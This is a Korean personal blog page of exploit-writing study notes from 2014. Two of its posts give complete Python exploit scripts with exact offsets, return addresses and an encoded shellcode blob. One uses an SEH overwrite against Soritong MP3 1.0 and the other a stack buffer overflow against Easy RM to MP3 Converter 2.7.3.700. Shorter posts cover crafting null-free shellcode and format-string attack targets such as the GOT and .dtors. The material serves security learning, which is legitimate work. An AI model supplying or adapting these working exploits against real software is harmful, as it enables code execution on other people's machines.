Be myself :: 'Exploit' 카테고리의 글 목록 (2 Page)

달력

42024  이전 다음

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30

'Exploit'에 해당되는 글 14건

  1. 2014.07.10 SEH overwriting
  2. 2014.05.28 윈도우 BOF 2
  3. 2014.05.05 간단한 Shellcode 만들기
  4. 2014.05.04 FSB공격 정리

SEH overwriting

Exploit 2014. 7. 10. 22:10

1 SEH 오버플로 개요

일단 예외처리를 프로그램에서 했을 때, 스택상에서 어떻게 SEH가 어디에 위치하는지 간략하게 그림으로 확인해 보자.

이 정도만 보아도 대충 어떻게 Seh를 공격벡터로 이용하는지 입질이 슬슬 온다. 대충 오버플로 일으켜서 예외처리기 주소값에 쉘코드의 주소값을 넣은 후, 의도적으로 예외상황을 만들면 예외 핸들러주소 값으로 점프하게 되는데 그럼 쉘코드가 있는곳으로 eip가 조작되어 공격 성공하게 된다.

참고로 기본 seh 구동 메커니즘을 설명하자면, 오류가 발생되면 os는 해당 어플리케이션에서 TEB의 첫번째 요소(FS:[0])를 찾아 예외 핸들러의 주소값을 찾는다.( TEB는 쓰레드당 각각 하나씩 가지고 있는 블락이다. TEB가 PEB에 속하기 때문이다. 이에 대해 좀더 깊게 이해하려면 os커널에 대한 기본지식이 필요하기 때문에 os관련 서적을 참고하기 바란다.) 그러나 예외상황을 만족하는 예외 핸들러의 주소값이 없다면, os는 자체적인 예외처리를 하는데 프로그램을 종료시키는 것이다.

2 주의점

1 window xp sp1이후
예외핸들러가 실행되기 전에 모든 레지스터들이 xor연산되어 핸들러가 실행된다. 따라서 공격 페이로드를 작성할 시 주의하여야 한다.


2 window xp sp2이후
DEP와 스택쿠키가 도입되어 이 또한 유의하여야 한다.


3 safeSEH
컴파일 시 /SafeSEH옵션을 주면 활성화 되는데, seh공격을 막기위한 추가적인 보호 매커니즘이다.

3 기법 우회

DEP와 스택쿠키는 다음에 얘기할 기회가 있을 것이다. 우선 지금은 SafeSEH와 레지스터 xor연산 하는 것을 우회할 것이다. 그 방법은, 예외 핸들러가 실행 될 때 넘어가는 두번 째 인자가 다음 예외 핸들러의 주소값을 나타 낸다는 것이다. 우선 예외 핸들러가 등록됬을 때 어떻게 되는지 확인 해 보자.

위 글을 잘 읽어보면 이해가 갈 것이다. 의도적으로 예외를 발생 시키고, 예외 핸들러는 pop, pop, ret을 실행한다. 그 때, 처음에서 esp+8 부분이 다음 seh레코드 주소를 가르키는데, 이 부분으로 점프하게 된다. 그렇다면 다음 SEH레코드 부분에 우리의 쉘코드가 위치한 주소값을 넣어놓으면, 공격이 성공하게 된다.

4 실습

그럼 지금까지 살펴 본 내용들을 Soritong mp3 1.0을 활용한 실습을 통해 알아 보자.

이 프로그램은 Skin파일을 불러올 때 오버플로우 취약점이 존재한다. 따라서 다음과 같이 코드를 짜서 UI.txt를 /Skin/Default에 넣자.

f = open("UI.txt","w")
junk = "A"*5000
f.write(junk)
print("write success!")
f.close

그리고 실행시키면 SEH까지 덮어버렸기 때문에 아무 반응 없이 종료될 것이다.

그럼 올리디버거를 이용해 확인 해 보자.

SEH가 덮혀서 eip가 바뀐 것을 확인 할 수 있다.

이번엔 winDbg로 확인해 보자.

에러가 뜬다. 정확한 분석을 위해 !analyze -v명령어를 통해 자세히 알아보자.

예외처리가 0xffffffff 부분에서 이루어 졌다. 그 말은 오버플로우 처리가 OS 예외핸들러에 의해 처리 되었다는 말이다. 그럼, 어플리케이션 예외처리 루틴은 없었나 확인해 보기 위해 TEB덤프를 떠보자.

12fd64가 첫 번째 SEH이다. 결국 어플리케이션 계층의 seh핸들러가 존재 하였고, 이 부분이 AAAA로 덮였기 때문에 OS의 SEH가 실행된 것이라 생각할 수 있다.

자, 지금까지 이 프로그램이 SEH공격이 가능한지 여부를 살펴 보았고 가능하다는 결론을 얻었으므로, 우리에게 필요한 정보는 seh까지의 오프셋과 셸코드가 필요하다. 그 다음엔 [A junk][nSEH](이 부분은 셸코드로 점프하는 코드가 들어간다)[seh handler](pop pop ret)[Shell code]로 페이로드를 작성하면 끝이다.

그럼 앞에서도 살펴 보았듯이 메타스플로잇을 이용해 패턴을 만들고 seh의 오프셋을 확인한다.

41367441은 리틀엔디안으로 표현하면 41 47 36 41이고 아스키코드로 표현하면 At6A이다 그러므로 오프셋을 확인해 보면 588임을 알 수 있다. 따라서 A를 584개를 넣으면 된다.

다음 nSEH부분은 대충 nSEH에서 6byte만큼 jmp하면 셸코드에 도달하므로 그에 맞는 어셈블리를 짜서 확인해 보면 0xeb, 0x06, 0x90, 0x90이 된다.

이제 남은 부분은 SEH핸들러 부분인데 pop pop ret부분을 확인한다.

Dll도 어플리케이션에 종속적인 걸 이용한다. OS에 종속적인 kernel32.dll등을 이용하면 다른 OS버전에선 로드메모리가 다르게 올라 갈 수 있으므로 그렇다. 물론 어플리케이션 dll도 100%확실한 공격이 되는건 아닌데, 그나마 안정적이다.

0x100106fb부분을 이용하기로 한다.

다음과 같이 코드를 짠다..

import struct

f =open("UI.txt","w") junk ="A"*584 nSEH ="\xeb\x06\x90\x90" SEH= struct.pack('<I',0x100106fb) SHELL ="\x90"*25+"\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1"+ "\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30"+                  "\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa"+ "\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96"+                  "\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b"+ "\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a"+              "\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83"+ "\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98"+              "\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61"+      "\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05"+                  "\x7f\xe8\x7b\xca" junk2 = "A"*1500 f.write(junk + nSEH + SEH + SHELL+junk2) f.close

끝..!

'Exploit' 카테고리의 다른 글

C++에서 VTable  (0) 2014.07.12
여러 보호기법  (0) 2014.07.11
윈도우 BOF  (2) 2014.05.28
간단한 Shellcode 만들기  (0) 2014.05.05
FSB공격 정리  (0) 2014.05.04
Posted by flack3r
|

윈도우 BOF

Exploit 2014. 5. 28. 19:04

1 개요

오랜만에 하는 포스팅이다. uaf공부하다가 부족함을 느껴 윈도우 exploit의 기초부터 쌓을 필요가 있을 것 같아 Bof부터 하나하나 정리해 가겠다. 따라서 이번 글은 버퍼오버플로에 관한 내용이 되겠다. 여기서 가정하고 있는 독자는 버퍼오버플로에 대한 내용을 이해하고 있는 사람들을 대상으로 한다. 잘 모르는 사람은 검색하면 좋은 문서들이 많으므로 참고하길 바란다. 여기서 다루는 툴들은 windbg와 python 2.7과 백트랙 5을 사용하였고 공격 대상은"Easy RM to MP3 Converter.exe" 2.7.3.700 버전이다. 모두 검색하면 쉽게 다운로드 받을 수 있다. 실행 환경은 windows xp sp3 이다.( https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/ 가 현재 작성한 내용의 중심이다. 자세한 내용을 원한다면 참고하길 바란다.)

 

2 분석

Easy RM to MPT Converter는 m3u파일을 읽어 오는 과정에서 버퍼 오버플로 취약점이 존재하는 프로그램이다. 그래서, 우리는 m3u파일의 내용에 충분히 적당한 양의 코드를 넣어서 버퍼의 RET까지 가서 덮어버리고, 프로그램의 흐름을 우리가 원하는 대로 제어할 수 있게 된다. 자, 그럼 일단 간단한 파이썬 코드를 짜서 m3u파일을 만들어 보자.

f = open("crash.m3u","w");
foo = "A"*30000;
f.write(foo);
print("Write Success! ");
f.close();

  

그 다음 생성된 crash.m3u 파일을 Easy RM to MPT converter로 로드시키면 다음과 같은 크래쉬가 난다. 이 때, 크래쉬가 난 지점에서 windbg로 디버깅 하기 위해선, cmd에서 windbg -I옵션을 주어 설정을 먼저 해야한다. cmd창을 띄워 windbg –I를 입력하자. 그 후 방금 생성된 crash.m3u파일을 로드 시키면 다음과 같은 화면이 뜬다.

그림에서 확인 할 수 있듯이 eip의 값의 41('A'의 값)으로 덮였다. 또 한 그때의 esp가 가리키는 값도 41('A')로 덮였다. 따라서 우린 이 프로그램에 버퍼오버플로 취약점이 있다는 것을 확인한 셈이다. 그렇다면 이제 우리가 원하는 셸코드를 ff730이후에 입력하고, eip 를 esp의 값으로(ff730)덮어 버린다면, 셸코드를 실행 시킬 수 있을 것 같다. 자, 그럼 일단 우리가 할 것은 A가 처음 저장되는 버퍼에서부터 RET까지의 거리를 알아야 한다. 몇 번의 테스트 후 확인된 점은 A*25000 + B*5000 이라 했을 때, eip의 값이 B로 바뀌었다. 이 말은, 거리가 25000~30000사이 라는 뜻이다. 정확한 거리를 확인하기 위해서 백트랙에 있는 메타스플로잇 도구를 이용하였다.

./pattern_create.rb 5000 이라 입력해 패턴을 5000개 정도 입력한다. 그리고 이 패턴을 사용하여 crash.m3u파일의 내용이 A*25000 + Create Pattern[5000] 이 되도록 프로그래밍 한다. 그 다음 이 파일을 로딩시키면 다음과 같은 화면이 뜬다

이 때, eip값을 기억하고, 백트랙으로 돌아가서 다음과 같이 입력한다.

./pattern_offset.rb 6a42366a(eip값) 5000(패턴 크기) (*여기서 위의 eip와 밑의 그림의 eip값이 다른 이유는 테스트한 환경이 달라져서 그런다. 원래 테스트한 그림이 사라져 kisec에서 번역한 문서에서 그림을 따왔다.)

offset값이 1069라고 뜬다. 즉, 25000 + 1069 = 26069 의 크기만큼 RET와 떨어져 있다는 뜻이다. 그렇다면 우린 26069크기 만큼의 아무 값이나 입력하고 그 후에 입력한 값이 RET가 되고 다음에 입력한 값이 esp가 가리키는 값들이 될 겉이다.

따라서 우리가 구성해야 할 공격 페이로드는 [26069크기의 A][RET][Shell code] 이렇게 구성된다. 이 때, RET의 값은 esp의 값에 되어야 하므로, esp값을 확인하기 위해 파일 내용을 [A*26069 + AAAA + C*1000]구성해서 확인해 보면 다음과 같다.


esp값은 ff730이므로 eip의 값을 ff730으로 하고, esp의 값에 셸코드를 올린다면, 우리가 원하는 대로 프로그램의 흐름을 잡을 수 있다. 다음과 같이 코드를 짜자.

import struct
f = open("crash.m3u","w");
foo = "A"*26069;
exploit=struct.pack('<I',0x000ff730);
foo2 = "\x90"*25 + "\xCC" + "\x90"*20;
f.write(foo+exploit+foo2);
print("write sucess!! ");
f.close();

다음, 만들어진 파일을 easy RM~에 로드 시키면 우리가 원하던 결과와 다른 화면이 뜬다. 우리가 원했던 결과는 'CC'(Break명령어)로 인해 프로그램이 break되는 것을 원했는데, 화면에선 "\xCC"는 커녕 NOP도 확인이 불가능하다.

왜 이런 것일까? 그 이유는 eip주소 값에 NULL 문자가 존재하기 때문이다.주소 값이 저장될 땐 little endian으로 저장되고 0x000ff730은 little endian으로 나타내면 30 f7 0f 00 이 되는데, 이 때, 마지막 부분이 NULL문자로 인식 되어서 우리가 프로그래밍 할 때, exploit + foo2 부분에서 foo2는 전혀 입력되지 않아 발생하는 문제이다. 따라서 우린 다른 공격방법을 찾아야 한다. 프로그램에선 하나 이상의 dll을 로드시키기 때문에 dll에서 JMP esp 하는 명령어 주소 부분을 찾아 (NULL문자가 존재하지 않는 주소 값으로) 이 부분으로 eip값으로 이용한다면, 우리가 원하는 결과를 얻을 수 있을 것이다. 그렇다면 일단 프로그램을 정상적으로 실행 했을 때, 어떤 dll들이 로딩되어 있는지 확인하고 그 dll들을 확인해 JMP esp의 명령을 가지는 부분을 찾아보는 것이 과제가 될 것이다. 다음은 로딩된 dll들이다.

여기서 우리가 확인해야 할 dll은 Easy RM to MP3 Converter에서 로딩되는 dll들을 확인하는 것이다. 왜냐하면, system32에서 로딩되는 dll들은 OS마다 로딩되는 주소가 각각 달라져 운영체제에 종속적인 exploit코드가 되기 때문이다. 여기서 제일 맘에 드는 MSRMCcodec02.dll부분을 살펴보자. [S 시작주소 L 마지막주소 옵코드] 명령을 windbg에 주면 검색한 옵코드를 가지는 부분을 확인 할 수 있다. JMP esp의 옵코드는 ff e4이다.

위의 화면에서 마음에 NULL문자가 없고 마음에 드는 부분을 확인해 보자. 필자는 1df023f부분을 확인해 보겠다. U 1df023f를 누르면 이 부분의 어셈블리 코드가 확인 가능하다.

Jmp esp가 되어있는 것을 확인 할 수 있다. 그렇다면 이 부분을 eip로 하고 esp부분에 셸코드를 띄우면 공격 성공이다.

다음과 같이 코드를 입력한다.

import struct

f = open("crash.m3u","w");
foo = "A"*26069;
exploit=struct.pack('<I',0x01df023f);
foo2 = "\x90"*25 + "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" + "\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" + "\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" + "\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" + "\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" + "\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" + "\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" + "\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" + "\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" + "\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" + "\x7f\xe8\x7b\xca";

f.write(foo+exploit+foo2);
print("write sucess!! ");
f.close();

이 셸코드는 계산기를 띄우는 코드이고, 실행 시키면 다음과 같이 계산기가 뜨는 것을 볼 수 있다.

 

끄읕.

'Exploit' 카테고리의 다른 글

C++에서 VTable  (0) 2014.07.12
여러 보호기법  (0) 2014.07.11
SEH overwriting  (0) 2014.07.10
간단한 Shellcode 만들기  (0) 2014.05.05
FSB공격 정리  (0) 2014.05.04
Posted by flack3r
|

   

그냥 인터럽트 걸고 eax,ebx,ecx,exd 나 mov and sub 명령어를 막쓰면,, 저렇게 널바이트가 생긴다.

널바이트가 생기면 위에서 사진에서 보이듯이 우리가 원하는 실행결과가 나오지 않는다.

따라서 널바이트를 생기지 않게 하기 위해 명렁을 간결하고 메모리를 최소한 이용해서 짜야한다.

일단 문자열을 레지스터에 등록하기 위해 함수를 호출하면 리턴주소가 쓰인다는 점을 이용해서 함수 호출 후 pop해 ecx에 문자열 주소값을 등록하는 과정을 볼 수 있다. 이때, 함수 호출 부분을 제일 밑으로 내린 이유는, 처음에 부분에 쓰면 양의 값으로 주소값이 증가되기 때문에, 이부분에서 null바이트가 생길 수 있다. 따라서 밑에서 쓰고, 나머지 명령어들은 mov는 자제하고 쓸 경우 al,bl,cl,dl등을 이용하고 숫자 증가 inc나 dec명령어 등을 입력해 셸코드를 최소화 한다.

   

이런식으로 작성을 완료하면 널바이트 없이 셸코드가 완성된다.

------------------------------------------------------------------------------------------

                                                          <본격적으로 만들기>

사실 위와 같이 함수를 이용해 독자적인 셸코드를 생성할 수 있지만, 좀 더 경량화된 셸코드를 생성하기 위해선 스택을 이용할 필요가 있다. 즉, 스택에 아스키코드로 문자열을 하나하나 올려 (mov 대상 esp) 처럼 쓴다면, 함수 호출로 인한 코드의 수가 줄어 들 것이다. 사진을 한번 보자.

위와 같이 완성될 수 있다.

execve 시스템 콜 번호는 11번이다.

   

여기서 더 작게 만드는 방법이 있다.

바로 cdq(Convert Doubleword to Quadword)라는 명령어와, 스택을 이용하는 방법이다.

cdq를 이용하는 방법은 다음과 같다.

사실 cdq는 32비트 정수에서 64비트 정수로 확장하는 개념인데, 동작상 EAX부호 비트가 0이면 EDX레지스터도 0으로 만든다.

스택을 이용하는 방법은 eax에서 시스템 콜번호를 쓸때 mov 대신, push BYTE 0xb 한다음 pop eax하면 코드가 1바이트 더 작아진다.

출처: 해킹과 공격의 예술 공부중 정리

'Exploit' 카테고리의 다른 글

C++에서 VTable  (0) 2014.07.12
여러 보호기법  (0) 2014.07.11
SEH overwriting  (0) 2014.07.10
윈도우 BOF  (2) 2014.05.28
FSB공격 정리  (0) 2014.05.04
Posted by flack3r
|

FSB공격 정리

Exploit 2014. 5. 4. 01:59

사실 포맷스트링 취약점이 존재하는 프로그램으로, 기본적으로 쓰기가 가능하고 프로그램 실행 흐름을 바꿀 수 잇는 주소라면 어디든지 공격 가능하다. 그 중, 셸을 획득하는 몇가지 기본적인 방법을 소개한다.

1. GOT(전역 오프셋 테이블)

프로그램은 실행될때 공유 라이브러리 항목이 같이 stack 에 올라가는데, 이 공유 라이브러리를 읽을때 테이블을 참조하게 된다. 이 테이블을 PTL(Procedure Linkage Table)이라 한다. 어떤 프로그램을 objdump로

이 섹션을 분석해보면 아래와 같다.




 

위에 보이는 0x8048308 주소에 보면 이 exit이 호출될때 0x8049784로 점프하는것을 볼 수 있다. 이 jump 명령을 조작해 셸코드를 실행 시키는 것 이다.

 

2. ret주소 덮기.

이는 버퍼 오버플로 공격에서도 많이 해왔던 공격이다. 이 ret주소값에 셸코드 주소를 올리면 되는데 보편적인 방법이 2가지 존재한다.

 

2-1. 환경변수

환경변수에 셸코드를 올리고 그 주소값을 계산한 후 ret에 덮는 공격이다.

2-2. 직접 셸코드 올리기

프로그램을 실행 시키고 그 관련된 변수에 셸코드를 올린 후 그 주소값을 ret에 덮는 방법이다.

이 방법은 NOP를 많이 넣을 수 없는 경우가 생기고 gdb에서 빠져나와 실제 실행 했을시 주소값이 바뀔경우 공격이 정확히 들어가지 않는다.. 역시 환경변수가 최고.

 

3. 소멸자 이용

GNU C 컴파일러를 이용해 컴파일된 프로그램에선 소멸자와 생성자를 위한 특수 테이블 섹션 .dtors 와 .ctors 를 생성한다. 소멸자는 (nm 파일이름)이나 (objdump -h 파일) 으로 주소값을 확인 가능하다.  소멸자는 쓰기가 가능하기 때문에 이 주소에 셸코드 주소를 입력하면 된다.

 

흠.. 이정도?

'Exploit' 카테고리의 다른 글

C++에서 VTable  (0) 2014.07.12
여러 보호기법  (0) 2014.07.11
SEH overwriting  (0) 2014.07.10
윈도우 BOF  (2) 2014.05.28
간단한 Shellcode 만들기  (0) 2014.05.05
Posted by flack3r
|